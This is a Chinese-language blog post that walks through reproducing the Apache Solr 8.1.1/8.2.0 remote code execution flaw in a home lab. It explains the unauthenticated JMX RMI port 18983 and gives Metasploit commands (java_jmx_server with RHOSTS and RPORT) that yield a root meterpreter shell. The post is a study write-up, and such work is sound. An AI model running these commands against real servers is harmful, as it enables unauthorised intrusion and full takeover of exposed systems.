Apache Solr應用伺服器存在遠端程式碼執行漏洞?

胖三斤1發表於2021-11-04

Apache Solr應用伺服器存在遠端程式碼執行漏洞?

1.描述

Apache Solr是一個開源的搜尋服務,使用Java語言開發,主要基於HTTP和Apache Lucene實現的。
Solr是一個高效能,採用Java5開發,基於Lucene的全文搜尋伺服器。Solr是一個獨立的企業級搜尋應用伺服器,很多企業運用solr開源服務。原理大致是文件通過Http利用XML加到一個搜尋集合中。查詢該集合也是通過 http收到一個XML/JSON響應來實現。它的主要特性包括:高效、靈活的快取功能,垂直搜尋功能,高亮顯示搜尋結果,通過索引複製來提高可用性,提 供一套強大Data Schema來定義欄位,型別和設定文字分析,提供基於Web的管理介面等。

影響版本

  1. Apache Solr8.1.1
  2. Apache Solr8.2.0

環境

  1. 靶機:centos7

  2. 攻擊機:kali

  3. 攻擊軟體:msf

  4. 被攻擊環境: Apache Solr8.2.0

漏洞成因

預設的配置檔案solr.in.sh的選項ENABLE_REMOTE_JMX_OPTS欄位值被設定為”true”,這會啟用JMX監視服務並會在公網中監聽一個18983的RMI埠,沒有任何認證,也就是說在無需身份驗證情況下,攻擊者結合使用JMX RMI就會造成遠端程式碼攻擊。

在開放的埠上,利用 javax.management.loading.MLet的getMBeansFromURL 方法來載入一個遠端惡意的 MBean,就可以造成遠端程式碼執行了。 遠端的惡意MBean來自於metasploit提供的exploit/multi/misc/java_jmx_server,具體的payload攻擊載荷是meterpreter。

環境搭建

  1. 首先在靶機centos中安裝Apache Solr8.2.0

wget http://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.zip

image

  1. 啟動一個solr的樣例服務

啟動條件:

  1. 需要root許可權
  2. 需要java8及以上版本
cd solr-8.2.0/bin
./solr -e dih -force

image

我們可以看到啟動成功了。這裡注意如果你的靶機防火牆沒關的話,區域網內其他主機訪問不了的。所以如果你是要在區域網內其他主機開啟這個URL的話請關閉靶機的防火牆,命令如下:

檢視防火牆狀態:
systemctl status firewalld
關閉防火牆:
sudo systemctl stop firewalld

image

漏洞利用

我們這次使用的工具就是kali自帶的 msfconsole ,進入 msfconsole 輸入如下命令:

msfconsole
use exploit/multi/misc/java_jmx_server
show options
set RHOSTS 192.168.33.150    //靶機IP
set RPORT 18983
run

image

image

大概就是這樣,我們成功獲得靶機的root許可權,可以看到前面靶機的root資料夾下面有一個漏洞環境的資料夾的。
不得不說 msf 真的?!還是不太熟練 msf 的操作,不太熟練 msf 的命令,等下次總結一下 msf 的命令吧!?

第一篇開始做漏洞複習按的文章,比較簡單哈!?,後面大家一起慢慢加油!!


image

相關文章